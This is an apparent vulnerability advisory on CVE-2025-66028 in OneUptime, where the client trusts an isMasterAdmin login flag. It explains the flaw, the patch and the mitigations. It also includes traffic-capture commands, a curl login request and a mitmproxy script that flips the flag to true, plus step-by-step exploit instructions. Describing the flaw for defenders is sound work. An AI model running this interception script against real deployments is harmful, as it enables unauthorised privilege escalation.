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The CVE-2025-66028 vulnerability in OneUptime stems from insecure handling of authentication responses. During the login process, the client application receives a JSON response from the server containing a critical authorization parameter named isMasterAdmin. This boolean value is used client-side to determine if the logged-in user should be granted administrative privileges and access to the admin dashboard. The vulnerability exists because the client application implicitly trusts this value without performing sufficient cross-verification with the server’s actual session state or user database. An attacker can exploit this by intercepting the HTTP(S) login response using a proxy tool like Burp Suite or mitmproxy. When the response is intercepted, the attacker modifies the `isMasterAdmin` field from `false` to `true` before it reaches the client browser. The client application, upon receiving the manipulated response, erroneously elevates the user’s privileges locally, rendering the admin dashboard interface accessible. However, subsequent data-fetching API calls likely still require valid server-side permissions, which the attacker lacks, limiting full data interaction. This represents a broken authentication and authorization mechanism where client-side controls are bypassed. The patch in version 8.0.5567 fixes this by removing the reliance on the client-side `isMasterAdmin` parameter for access decisions, enforcing all permission checks on the server-side, and potentially using signed tokens or re-validating the user’s role with each privileged request.
Platform: OneUptime
Version: Pre-8.0.5567
Vulnerability: Login response manipulation
Severity: Medium
Date: 2025-11-26
Prediction: Patched 2025-11-26
What Undercode Say:
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Capture login traffic with tcpdump
sudo tcpdump -i any -w login.pcap port 443
Filter for POST login requests in saved capture
tshark -r login.pcap -Y "http.request.method==POST"
Curl to simulate login and show response
curl -k -X POST https://target.com/login -d "user=test&pass=test" -H "Content-Type: application/x-www-form-urlencoded" -v
Python script to modify intercepted response
import mitmproxy.http
def response(flow: mitmproxy.http.HTTPFlow):
if "login" in flow.request.path:
flow.response.text = flow.response.text.replace('"isMasterAdmin":false', '"isMasterAdmin":true')
How Exploit:
Intercept login response with proxy. Modify isMasterAdmin parameter value from false to true. Forward modified response to client. Access admin dashboard URL.
Protection from this CVE:
Update to version 8.0.5567. Implement server-side session validation. Use cryptographically signed tokens.
Impact:
Privilege escalation to admin interface. Potential unauthorized access.
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Sources:
Reported By: nvd.nist.gov
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